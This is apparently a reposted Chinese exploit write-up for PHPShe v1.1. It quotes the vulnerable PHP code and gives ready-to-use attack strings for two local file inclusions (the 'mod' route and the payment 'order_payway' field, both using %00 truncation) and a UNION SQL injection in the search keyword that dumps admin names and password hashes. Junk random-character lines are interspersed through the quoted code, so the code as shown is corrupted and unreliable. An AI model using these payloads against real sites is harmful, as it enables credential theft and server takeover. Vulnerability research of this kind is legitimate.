phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
8 S6 @& w0 U& G! k1 z- M4 J3 @# J- z  J; E/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
+ E; W# W5 L; G/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
  `: G3 a1 G& P. o!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
; T6 i6 Y7 P- h3 x2 H!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
0 r# X- Y! x2 c; U. T# _!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
) x0 ], @- I0 C, o6 O/ E7 g!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
4 [% @9 J' |2 ^! @, g}
session_start();
1 z% c7 i" R9 ~" x7 A- S3 O4 M/ S3 U$ e!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
( L% E* }' u9 Q8 Z!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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& a" A8 D7 y2 z//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
" V6 C; O/ z4 N( ^! s6 V$ Dinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
- N  B2 a9 A' d) l2 d?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
8 y9 E3 d$ _- R. p1 V8 k4 Q$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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, v# W2 `2 X, C6 w! u8 o 0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
) T' B% H' Q# r/ Q- B) Y  s- F$info = $db->pe_select('category', array('category_id'=>$category_id));
# ]9 c& J8 r- A, A! p//搜索
$ }0 n- V  ^/ Z( w$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
1 j  n, `4 g, ?+ c& _where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
+ Z! g4 @2 P2 `9 C}
- R: U  I4 O4 J4 Q+ v$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
" g  Q7 C9 k( N$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
( ~6 E0 g8 l4 J$sqlwhere .= " order by `product_id` desc";
}
: L7 u( O( ?7 @* G. t4 u$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
# i& @4 s9 B. I; E- x- j4 u4 C$nowpath = category_path($category_id);
) O1 D, h  c; b, {$seo = pe_seo($info['category_name']);
1 c" P/ g" X) {3 _# E) F6 pinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
/ y0 ^$ p7 u' \& zpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
6 b; g& X8 S1 f  r4 O{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

: j: z8 s* v3 n* B( ?$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

# b( q; o1 C$ r$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

/ v$ P. J% U" U+ n$ O, U) S2 Pif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

/ n0 j! g& X  D) u, i1 a}

+ o7 o' T5 u2 h: h$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

# e& S6 I' [  ^; j, sif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

, S; P6 \  E, T6 [$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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9 i4 V7 ^% T7 T* O6 S1 x$ `echo '正在为您连接支付网站，请稍后...';

9 }/ a+ b/ i; Xinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

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}

3 k) r; S+ m: s  y' S/ }8 L' C$seo = pe_seo('选择支付方式');

  g* i, ]6 o# N# W$ T1 \# _$ einclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>